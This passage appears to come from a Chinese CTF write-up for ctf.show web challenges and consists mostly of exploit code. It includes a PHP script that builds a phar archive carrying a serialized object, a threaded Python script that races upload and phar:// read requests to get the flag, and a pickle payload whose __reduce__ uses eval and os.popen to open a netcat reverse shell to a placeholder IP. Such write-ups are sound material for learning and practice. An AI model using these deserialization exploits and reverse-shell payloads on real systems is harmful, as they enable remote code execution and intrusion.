$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中
$o = new filter();

//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "evo1ution");
//停止缓冲对phar的写操作
$phar->stopBuffering();
?>

exp.py

import requests
import re
import threading
import base64

url = 'http://29f200dd-1d6b-47c1-be60-9bd59408e422.challenge.ctf.show/'
f = open('phar.phar', 'rb')
data = f.read()
f.close()
stop = False

def upload():
r = requests.post(url=url+'?fn=phar.phar', data=data)


def read():
global stop
response = requests.post(url=url+'?fn=phar://phar.phar/', data='')
if 'ctfshow{' in response.text:
flag = re.findall('ctfshow{.*?}', response.text)[0]
print(flag)
stop = True

while stop is False:
a = threading.Thread(target=upload)
b = threading.Thread(target=read)
a.start()
b.start()

web277-278

查看源码发现

<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

反弹shell(两道题貌似都过滤了os.system

#encoding: utf-8
import base64
import pickle
import os

class getflag(object):
def __reduce__(self):
a='__import__("os").popen("nc xxx.xxx.xxx.xxx xxxx -e /bin/sh").read()'
return(eval,(a,))
# 也可以这么写
# a='nc xxx.xxx.xxx.xxx xxxx -e /bin/sh'
# return(os.popen,(a,))

f = getflag()
print(base64.b64encode(pickle.dumps(f)))